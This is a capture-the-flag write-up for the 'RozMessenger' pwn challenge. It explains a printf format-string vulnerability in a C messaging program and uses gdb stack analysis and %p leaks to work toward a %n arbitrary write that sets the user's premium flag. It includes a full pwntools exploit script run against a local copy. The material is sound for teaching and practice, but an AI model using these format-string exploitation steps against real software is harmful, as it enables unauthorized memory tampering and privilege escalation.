{%hackmd theme-dark %}
# RozMessenger (H&LI CTF vol.3) write-up
The pwn challenge is to use arbitrary memory writing through printf() string format attack to achieve "RozMessenger" premium features and read ~~encrypted~~ hidden data. Let's get started!
## Task description
:::warning
I got tired of Telegram and switched to RozMessenger instead.
Someone has sent me an important encrypted message, but it turns out I need to buy Premium subscription in the messaging app to be able to read it!
Can you analyze the source code and allow me to read that message without paying for the subscription?
Connect to the messenger interface using: nc hli-messenger.spbctf.com 13378
> [name= Author: Eugene Cherevatskii (@rozetkinrobot)]
 
:::
Provided file: [messenger.c](https://gist.github.com/hazyone/2d449e00c7d1f8929363a1ec86f021ed)
## Overview
### Interface
Main screen
```
Welcome back to the RozMessenger, Check!
┌---------------------------------------------┐
| Introducing RozMessenger Premium! |
| Premium gives you access to: |
| - Unlimited message length (256 symbols) |
| - Edit messages with more than 50 symbols |
| - Decrypt messages |
| |
| Premium only costs 1000$ per month! |
| To buy premium, enter /buy_premium |
└---------------------------------------------┘
[*] You can use the following commands:
/help - show this message
/whoami - show info about you
/ch_chat - change chat
/chat - enter to chat menu
/search - search message in all chats
/buy_premium - ***buy premium***
/exit - exit the messenger
[menu] Command ->
```
`/whoami` command output
```
[*] User info:
id: 0
name: Check
status: freemium
```
Example of encrypted chat message
```
┌-Mary <3-----------------┐
| ***Encrypted message*** |
└[e]------------------(7)-┘
```
### Code
Link to the code you can find above, it's a kinda complex program to list it into a code snippet.
Firstly, let's try to compile the source to binary if we want to analyze it locally.
```bash
gcc -o messenger messenger.c -g
```
Output:
```c
messenger.c: In function ‘main’:
messenger.c:629:21: warning: format not a string literal and no format arguments [-Wformat-security]
629 | printf(decryptMessage(&user->messages_query[i], buffer));
| ^~~~~~
messenger.c:633:51: warning: format not a string literal and no format arguments [-Wformat-security]
633 | printf(user->messages_query[i].text);
| ~~~~~~~~~~~~~~~~~~~~~~~^~~~~
/usr/bin/ld: /tmp/cc4kyV8t.o: in function `main':
/root/messenger.c:442: undefined reference to `checkUserPermissions'
collect2: error: ld returned 1 exit status
```
The compiler issues a warning that there are cases where format functions are used and the format string is not a string literal and there are no format arguments, which can cause security issues.
Also, we need to implement the `checkUserPermissions` function, so let's just rewrite it with a stub like this:
```c
void checkUserPermissions(struct User *user)
{
printf("\n[!] checkUserPermissions...\n");
}
```
And the last thing. Let’s encrypt one of CTFer's messages. You should find in code `{1, "No, I'm still working on it.", 0}` and replace last `0` with `1`, so it will be `{1, "No, I'm still working on it.", 1}`
```bash
gcc -o messenger messenger.c -g
```
Ok, it compiles.
Now we run it and after a bit of digging into app functions, we can find that our `editMessageHandler` lacks a bounds check
```clike=
if (messageId >= chat->messageCount)
{
printf("[!] Message with id %d not found\n", messageId);
return 0;
}
```
We can pass a negative number as `messageId` and it causes the ability to write data to previous memory addresses.
But, unfortunately for us, this is a dead end, because the `Message` structure is 264 bytes length, and we cannot write to memory pointwise.
So, we reached the only attack vector with format functions.
## Solving
### Overview
Let's try to run this code, check it with `gdb`, and exploit the printf() vulnerability.
Details and root causes of this security problem are out of scope, and you can find more info about this kind of attack [on OWASP](https://owasp.org/www-community/attacks/Format_string_attack) and check [this](https://cs155.stanford.edu/papers/formatstring-1.2.pdf) article.
Steps that we need to perform:
- Find format specifier index that points to user input data on the stack
- Find the memory address that points to the `user` variable and patch the `premium` flag via arbitrary writing (%n)
OR
- Find the `chats` variable in memory and get hidden chat messages via arbitrary reading (%s)
### Analysis
Firstly, I recommend installing `gdb` plugin [pwndbg](https://github.com/pwndbg/pwndbg), because
> Vanilla GDB is terrible to use for reverse engineering and exploit development.
Observation time: we can skip the first printf warning because it is unreachable without premium, so we are interested in the second warning with `printf(user->messages_query[i].text);`
```bash
# Run gdb
~$ gdb messenger
# Ensure that you know the line where printf with warning located
pwndbg> l 636
# Place breakpoint on the line with printf call
pwndbg> b 636
# Execute program
pwndbg> run
```
We ran messenger, and placed the breakpoint to `printf(user->messages_query[i].text)` in the `/search` section of the program code.
Ok, now we should move to any chat, edit our message to find it later, and print it with vulnerable printf code.
```bash
# Set name
[?] Enter your name: John Doe
# Change chat
[menu] Command -> /ch_chat
# Chat id
[?] Chat id -> 0
# Switch to chat menu
[menu] Command -> /chat
# Edit message
[CTFers] Command -> /edit
# Message id
[?] Message id -> 0
# Message text
[?] New message (max 50 chars): AAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p
#
[CTFers] Command -> /show
```
Output
```
┌-----------------------John Doe-â”
| AAAAAA %p %p %p %p %p %p %p %p |
| %p %p %p %p %p %p |
└----------------------------(0)-┘
┌-CTFers------â”
| Hello, guy! |
└---------(1)-┘
┌-----------------------John Doe-â”
| Have you already pwned the mes |
| senger? |
└----------------------------(2)-┘
┌-CTFers------------------â”
| ***Encrypted message*** |
└[e]------------------(3)-┘
┌-------John Doe-â”
| Ok, I'll wait. |
└------------(4)-┘
```
What's happening here?
This is how printf() attack works: `AAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p`
The code we've already listed above `printf(user->messages_query[i].text);` has no arguments and gets user input as a format string. So, if we will provide `%p` (pointer) or any other format specifier, our program will try to use data from the stack as arguments.
In explaining our payload, we are trying to push data off the stack in pointer format. `AAAAAA` characters are needed to find them on the stack and understand which index we should use for arbitrary writing/reading to/from memory.
Let's continue
```bash
# Exit to main menu
[CTFers] Command -> /exit
# Search command
[menu] Command -> /search
# Search by text
[?] Text to search for -> AAAAAA
```
We will be paused after the search because of the #636 line breakpoint.
For the following steps we should copy first address from the `[STACK]` block, in my case it contains `0x7fffffff5c40`
```bash
──────────────────────────────[ STACK ]──────────────────────────────
00:0000│ rsp 0x7fffffff5c40 ◂— 0x0 # <<< copy this one
01:0008│ 0x7fffffff5c48 ◂— 0x0
02:0010│ 0x7fffffff5c50 ◂— 0x500000001
03:0018│ 0x7fffffff5c58 ◂— 0x500000001
04:0020│ 0x7fffffff5c60 ◂— 0x0
05:0028│ 0x7fffffff5c68 ◂— 0x100000001
06:0030│ 0x7fffffff5c70 —▸ 0x7ffff79a9010 ◂— 0x6546544300000000
07:0038│ 0x7fffffff5c78 —▸ 0x555555987730 ◂— 0x6546544300000000
```
Let's check if the stack now contains our `AAAAAA` chars.
```bash
pwndbg> search AAAAAA
Searching for value: 'AAAAAA'
messenger 0x55555555b0b0 'AAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
[heap] 0x55555597f324 'AAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
[heap] 0x5555559877a0 'AAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
[heap] 0x55555598fbb0 'AAAAAA\n\np %p %p %p %p %p %p %p %p %p %p %p %p %p\n'
[anon_7ffff79a9] 0x7ffff79a9080 'AAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
[stack] 0x7fffffffe1f0 0x414141414141 /* 'AAAAAA' */
```
We are interested in `[stack]`, and we can see that there is only `AAAAAA` that we put as the search string.
It's time to make some calculations.
```bash!
# p - alias of the print command
# 0x7fffffffe1f0 - address of found AAAAAA on the stack
# 0x7fffffff5c40 - address of stack that we got when execution stopped
pwndbg> p 0x7fffffffe1f0-0x7fffffff5c40
$1 = 34224
# 8 bytes - pointer size for x64
pwndbg> p 34224 / 8
$2 = 4278
```
So, keep in mind that we should search for user input somewhere near the 4278+ index when we try to use specifier indexes.
Let's continue execution:
```bash
pwndbg> continue
Continuing.
AAAAAA 0x7fffffff35a0 (nil) 0x55555597f320 0x11 0x11 (nil) (nil) 0x500000001 0x500000001 (nil) 0x100000001 0x7ffff79a9010 0x555555987730 0x4e4f4e0000000000
[?] Found 1 messages
```
Hmm, it's interesting, we can see that `0x55555597f320` is too close to the address from the search step, which contains our edited message text
```bash
[heap] 0x55555597f324 'AAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
```
Let's inspect the nearest code fragment:
```bash
# Press this to return to the gdb
Ctr+C
# Nearest code fragment
pwndbg> p &user->messages_query[0]
$3 = (struct Message *) 0x55555597f320
```
Here we go, we know `user->messages_query[0]` address. So, if we want to achieve premium status, we should patch the byte with a subscription type flag (premium|freemium)
Let’s find this flag address and calculate an offset between these two addresses:
```bash
# Status flag address
pwndbg> p &user->STATUS
$4 = 0x55555597f2a4 ""
# Offset
pwndbg> p 0x55555597f320 - 0x55555597f2a4
$5 = 124
```
What does this mean? When we will try to patch our user status, we will need to get the address of the 3rd value on the stack and subtract offset (124) from it.
### Solution
#### Observation
Ok, what do we know at this moment?
- Address where user input from search is located on the stack (`0x7fffffffe1f0`)
- Approximate specifier index access to this stack address (`4278+`)
- Offset between user status(`0x55555597f2a4`) and leaked address(`0x55555597f320`) == 124
What steps should we take?
- Find the exact format specifier index to user input
- Prepare payload
- Exploit arbitrary writing to upgrade our `RozMessenger` user status
#### Finding exact index
So, we know, that index is above 4278, because in previous steps we got the current stack address and the stack address of the user input, and divided it with the pointer length.
```bash
# p - alias of the print command
# 0x7fffffffe1f0 - address of found AAAAAA on the stack
# 0x7fffffff5c40 - address of stack that we got when execution stopped
pwndbg> p 0x7fffffffe1f0-0x7fffffff5c40
$1 = 34224
# 8 bytes - pointer size for x64
pwndbg> p 34224 / 8
$2 = 4278
```
It's time to check the exact place.
From the code, we know, that we can't just print `${"%p " * 4300}`, because the message length is limited and new message text is limited to 50 symbols too.
```clike
if (user->STATUS == 0)
{
printf("┌----------------------------------â”\n");
printf("| Note: premium users don't have |\n");
printf("| limits for message length |\n");
printf("| |\n");
printf("| To buy premium enter |\n");
printf("| ----> /buy_premium <---- |\n");
printf("| |\n");
printf("└----------------------------------┘\n");
printf("[?] New message (max 50 chars): ");
read_data(text, 50);
}
```
To avoid this limit, we can use the format specifier index: `%N$p`:
(Do it outside the gdb)
```bash
# Set name
[?] Enter your name: John Doe
# Change chat
[menu] Command -> /ch_chat
# Chat id
[?] Chat id -> 0
# Switch to chat menu
[menu] Command -> /chat
# Edit message
[CTFers] Command -> /edit
# Message id
[?] Message id -> 0
# Message text
[?] New message (max 50 chars): AAAAAA1 %4278$p %4279$p %4280$p %4281$p %4282$p
# Edit message
[CTFers] Command -> /edit
# Message id
[?] Message id -> 2
# Message text
[?] New message (max 50 chars): AAAAAA2 %4283$p %4284$p %4285$p %4286$p %4287$p
# Exit to main menu
[CTFers] Command -> /exit
# Search command
[menu] Command -> /search
# Search by text
[?] Text to search for -> AAAAAA
```
Output
```bash
[?] Text to search for -> AAAAAA
*******0********
Sender: John Doe
AAAAAA1 0x7ffced73a960 0x7f0e2d65a7bb (nil) (nil) 0xffffa9f6b04cbcd4
*******1********
Sender: John Doe
AAAAAA2 (nil) 0x414141414141 0x1 0x7f0e2d685700 0x7f0e2d64d580
[?] Found 2 messages
```
Hehe, we can see that our `AAAAAA` from the `/search` command leaked to the `%4284$p` index because `41` is an `A` character in hex notation.
What does it mean? We found leaked index position and we can perform arbitrary writing to memory, bc we can manipulate with `/search` string content!
#### Preparing payload
As you already read in [this article](https://cs155.stanford.edu/papers/formatstring-1.2.pdf), `printf()` can write size of the string to some pointer:
```c
int i;
printf ("foobar%n\n", (int *) &i);
// Would print “i = 6”, "foobar".length == 6
printf ("i = %d\n", i);
```
Our attack will be similar to this code:
```c
//pseudocode
char STATUS;
printf ("A%4284$n");
// Would print “STATUS = 1”
printf ("STATUS = %d", STATUS);
```
Explaining again, we have no arguments provided to `printf()`, so it will try to use something from the stack, that is located `4284 * 8` bytes behind an actual one. We know exactly what the pointer will be there because we can provide it with our `/search` input!
So, we know the offset between user status(`0x55555597f2a4`) and leaked address(`0x55555597f320`) == 124. This info is important for us because these addresses are not static. You can read about [aslr/pie](https://guyinatuxedo.github.io/5.1-mitigation_aslr_pie/index.html) for details. And you will face this when you will exit gdb(which turns off addresses randomizing) to the wild.
Let's imagine, that our addresses are static, so the payload will be
```
Edited message: A%4284$n \xa4\xf2\x97\x55\x55\x55
Search input: \xa4\xf2\x97\x55\x55\x55
```
Where `\xa4\xf2\x97\x55\x55\x55` is reversed (check info about little/big-endian) pointer address.
Ok, the payload is ready. The problem is that you can't just send these lines to our program directly. `\xFF` means that we need to send this as a byte, not as a string and it's kinda hard to send it via terminal. But, we can write some lines of code, that will send the correct payload to the server.
#### Exploiting
We will use python for the attack.
There is a handy library, called `pwntools`, which is a typical choice when dealing with CTF.
Also, we need to start the listening port with `ncat`, which will start our messenger when we will try to connect:
```
ncat -vc ./messenger -kl 0.0.0.0 13378
```
Ok, preparations are done.
First step: We need to obtain the leaked pointer to the `user->messages_query` and we know that it is located at index 3.
```python=
from pwn import *
sh = remote('localhost', 13378)
sh.recvuntilS('[?] Enter your name:')
sh.sendline(b'John Doe')
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/ch_chat')
sh.recvuntilS('[?] Chat id ->')
sh.sendline(b'0')
sh.recvuntilS('[menu] Command ->')
# Get pointer to user
sh.sendline(b'/chat')
sh.recvuntilS('] Command ->')
sh.sendline(b'/edit')
sh.recvuntilS('[?] Message id ->')
sh.sendline(b'0')
sh.recvuntilS('New message')
sh.sendline(b'%3$p') # format string that will show us 3rd pointer
sh.recvuntilS('] Command ->')
sh.sendline(b'/show')
sh.recvuntilS('] Command ->')
sh.sendline(b'/exit')
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/search')
sh.recvuntilS('[?] Text to search for ->')
sh.sendline("3$p")
resp = sh.recvuntilS('[menu] Command ->')
user_pointer = re.findall(r'0x[0-9A-F]+', resp, re.I)[0]
print(user_pointer)
```
We've stored the leaked pointer in the `user_pointer` variable. We need to subtract `124` from it and pass the result to both the message text and the search input.
Now, we are going to check that we can pass our pointer to `%4284$p`.
```python=
from pwn import *
...
...
# Patch adress
# Convert leaked address to integer
user_int_pointer = int(user_pointer, base=16)
# Substract offset to get STATUS address
user_status = user_int_pointer - 124
# p64 - packs an 64-bit integer
address = p64(user_status)
sh.sendline(b'/chat')
sh.recvuntilS('] Command ->')
sh.sendline(b'/edit')
sh.recvuntilS('[?] Message id ->')
sh.sendline(b'0')
sh.recvuntilS('New message')
sh.sendline(b"%4284$p " + address)
sh.recvuntilS('] Command ->')
sh.sendline(b'/show')
sh.recvuntilS('] Command ->')
sh.sendline(b'/exit')
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/search')
sh.recvuntilS('[?] Text to search for ->')
sh.sendline(address)
print(sh.recvuntilS('[menu] Command ->'))
```
Output
```
*******0********
Sender: John Doe
0x55555597f2a4 <unreadable chars>
[?] Found 1 messages
```
Nice, we sent our bytes and it works because we can see them in the output of `%4284$p`.
The only thing we have to do is write bytes to this pointer, instead of printing it. Rewrite this part of the code to something like this:
```python!
from pwn import *
...
...
# Patch adress
address = p64(int(user_pointer, base=16) - 124)
sh.sendline(b'/chat')
sh.recvuntilS('] Command ->')
sh.sendline(b'/edit')
sh.recvuntilS('[?] Message id ->')
sh.sendline(b'0')
sh.recvuntilS('New message')
# A - any one symbol string
# %4284$n - format specifier that will write string length that located before it
sh.sendline(b"A%4284$n" + address)
sh.recvuntilS('] Command ->')
sh.sendline(b'/show')
sh.recvuntilS('] Command ->')
sh.sendline(b'/exit')
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/search')
sh.recvuntilS('[?] Text to search for ->')
sh.sendline(address)
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/whoami')
print(sh.recvuntilS('[menu] Command ->'))
```
Output
```bash
[*] User info:
id: 0
name:
status: premium
[menu] Command ->
```
Wow, now we have a premium account!
Let’s do the remaining steps and read the secret message
### Solver
```python!
from pwn import *
sh = remote('localhost', 13378)
sh.recvuntilS('[?] Enter your name:')
sh.sendline(b'John Doe')
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/ch_chat')
sh.recvuntilS('[?] Chat id ->')
sh.sendline(b'0')
sh.recvuntilS('[menu] Command ->')
# Get pointer to user
sh.sendline(b'/chat')
sh.recvuntilS('] Command ->')
sh.sendline(b'/edit')
sh.recvuntilS('[?] Message id ->')
sh.sendline(b'0')
sh.recvuntilS('New message')
sh.sendline(b'%3$p')
sh.recvuntilS('] Command ->')
sh.sendline(b'/show')
sh.recvuntilS('] Command ->')
sh.sendline(b'/exit')
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/search')
sh.recvuntilS('[?] Text to search for ->')
sh.sendline("3$p")
resp = sh.recvuntilS('[menu] Command ->')
user_pointer = re.findall(r'0x[0-9A-F]+', resp, re.I)[0]
# Patch adress
address = p64(int(user_pointer, base=16) - 124)
sh.sendline(b'/chat')
sh.recvuntilS('] Command ->')
sh.sendline(b'/edit')
sh.recvuntilS('[?] Message id ->')
sh.sendline(b'0')
sh.recvuntilS('New message')
sh.sendline(b"A%4284$n" + address)
sh.recvuntilS('] Command ->')
sh.sendline(b'/show')
sh.recvuntilS('] Command ->')
sh.sendline(b'/exit')
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/search')
sh.recvuntilS('[?] Text to search for ->')
sh.sendline(address)
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/whoami')
print(sh.recvuntilS('[menu] Command ->'))
sh.sendline(b'/ch_chat')
sh.recvuntilS('[?] Chat id ->')
sh.sendline(b'0')
sh.recvuntilS('[menu] Command ->')
sh.sendline(b'/chat')
sh.interactive()
```
Output
```
┌------------â”
| A%4284$n\xa4\xb2 |
└--------(0)-┘
┌-CTFers------â”
| Hello, guy! |
└---------(1)-┘
┌--------------------------------â”
| Have you already pwned the mes |
| senger? |
└----------------------------(2)-┘
┌-CTFers-----------------------â”
| No, I'm still working on it. |
└[e]-----------------------(3)-┘
┌----------------â”
| Ok, I'll wait. |
└------------(4)-┘
```
That's it!
When the python script will reach `sh.interactive()` we will get into interactive mode, so we can interact with our hacked messenger version.